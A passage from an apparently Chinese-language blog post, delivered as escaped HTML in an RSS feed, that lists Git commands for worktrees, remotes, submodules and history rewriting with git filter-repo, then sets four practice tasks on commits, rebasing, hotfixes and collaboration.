&lt;li&gt;&lt;code&gt;git worktree&lt;/code&gt;：适合&lt;strong&gt;长时间并行任务&lt;/strong&gt;、对比代码、或在不同分支运行耗时测试/编（特别是如今 agent 的 ai-coding 场景）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 创建新的工作树（基于已有分支）
git worktree add ../project-hotfix hotfix
# 创建新的工作树（基于远程分支）
git worktree add ../new-feature origin/feature-branch

# 查看所有工作树
git worktree list

# 移除工作树（建议通过命令删除，而不是手动删文件夹）
git worktree remove ../project-hotfix
git worktree remove -f ../project-hotfix  # 有未提交改动时强制删除

# 清理无效引用（手动删除文件夹后留下的残余记录）
git worktree prune
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不能在两个工作树中检出同一个分支&lt;/strong&gt;，Git 会报错（防止 HEAD 指针混乱）&lt;/li&gt;
&lt;li&gt;建议将 worktree 创建在&lt;strong&gt;主项目目录外&lt;/strong&gt;（如 &lt;code&gt;../&lt;/code&gt;），避免全局搜索命中两份代码&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;远程仓库管理&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git remote -v
git remote add [shortname] [url]
git remote set-url --push upstream no_push # 删掉 upstream_url 防止意外 push -f
git branch -u [remote]/[branch] [当前分支]
git branch --set-upstream-to=upstream/master origin/master
git branch -vv -a

git remote show origin
git push -u origin feat/add # 首次推送并建立关联 ## 等效于 git branch -u origin/feat/add 
git branch --unset-upstream # 取消错误的追踪

# 删除远程分支
git push origin -d [branch-name]

git fetch upstream
git checkout master
git rebase upstream/master

git archive

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;子模块操作&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;git submodule add https://github.com/user/submodule.git # 添加子模块

git clone --recurse-submodules https://github.com/user/repo.git # 克隆包含子模块的仓库

git submodule update --init --recursive # 更新子模块
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;修改历史二进制文件以减小clone大小&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pip install git-filter-repo # ~/.local/bin/git-filter-repo
git filter-repo --file-info-callback &apos;
   if filename == b&quot;vmlinuz&quot;:
      with open(&quot;bin/vmlinuz/vmlinuz&quot;, &quot;rb&quot;) as f:
            new_content = f.read()
      new_blob_id = value.insert_file_with_contents(new_content)
      return (filename, mode, new_blob_id)
   else:
      return (filename, mode, blob_id)
   &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最佳实践总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;提交规范​​：使用语义化提交信息（feat:, fix:, docs:, 等）&lt;/li&gt;
&lt;li&gt;​分支策略​​：
&lt;ul&gt;
&lt;li&gt;main/master分支用于生产环境&lt;/li&gt;
&lt;li&gt;develop分支作为集成分支&lt;/li&gt;
&lt;li&gt;功能分支（feat/*）用于功能开发&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​定期同步​​：频繁执行fetch和pull --rebase避免冲突&lt;/li&gt;
&lt;li&gt;​保持历史整洁​​：本地分支使用(rebase)变基，公共分支使用(merge)合并&lt;/li&gt;
&lt;li&gt;​​原子化 commit 提交​​：适当使用 squash&lt;/li&gt;
&lt;li&gt;PR 前必做 rebase 整理&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Git 实战任务书&lt;/h1&gt;
&lt;h2&gt;Task 1：原子化提交练习&lt;/h2&gt;
&lt;p&gt;情景​​：你正在开发用户注册功能，已完成三个部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;创建用户模型（models/user.py）&lt;/li&gt;
&lt;li&gt;实现注册API（api/auth.py）&lt;/li&gt;
&lt;li&gt;添加注册页面（UI/register.html）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;要求​​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;为每个部分创建独立的提交&lt;/li&gt;
&lt;li&gt;提交信息遵循语义化规范（feat/fix/docs等）&lt;/li&gt;
&lt;li&gt;确保每个提交都是可独立构建的&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Task 2：交互式变基合并&lt;/h2&gt;
&lt;p&gt;​​情景​​：在Task 1的后续开发中，你为注册功能&lt;code&gt;依次&lt;/code&gt;创建了5个提交：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;feat(user): 基础模型&lt;/li&gt;
&lt;li&gt;fix(user): 修复密码字段&lt;/li&gt;
&lt;li&gt;feat(auth): API框架&lt;/li&gt;
&lt;li&gt;fix(user): 修复密码字段格式&lt;/li&gt;
&lt;li&gt;feat(ui): 注册页面UI&lt;/li&gt;
&lt;li&gt;fix(auth): 解决验证问题&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;要求​​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将5个提交合并为3个有意义的提交：&lt;/li&gt;
&lt;li&gt;用户模型相关（1+2+4）&lt;/li&gt;
&lt;li&gt;API相关（3+5）&lt;/li&gt;
&lt;li&gt;UI相关（5）&lt;/li&gt;
&lt;li&gt;重写提交信息为专业格式&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Task 3：热修复集成&lt;/h2&gt;
&lt;p&gt;​​情景​​：生产环境发现紧急bug（急急急急急）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;main分支版本：v1.2.0&lt;/li&gt;
&lt;li&gt;当前开发分支：feat/user-profile&lt;/li&gt;
&lt;li&gt;需要同时修复：
&lt;ol&gt;
&lt;li&gt;修复用户模型结构（models/user.py）&lt;/li&gt;
&lt;li&gt;添加错误提示信息（UI/errors.py）&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​​要求​​：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;保存你现在开发到一半的文件（&lt;code&gt;git stash&lt;/code&gt; 或 &lt;code&gt;git worktree&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;为热修复创建独立分支&lt;/li&gt;
&lt;li&gt;提交修复到main分支&lt;/li&gt;
&lt;li&gt;将修复同步到原来的开发分支&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 提示：尝试分别用 &lt;code&gt;git stash&lt;/code&gt; 和 &lt;code&gt;git worktree add&lt;/code&gt; 两种方式完成，体会各自的适用场景&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4：团队协作&lt;/h2&gt;
&lt;p&gt;要求：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;学会使用&lt;code&gt;合适的工具&lt;/code&gt;(比如 VSCode 图形化界面、相关的Github插件)：解决冲突，view PR，comment等等&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item></channel></rss>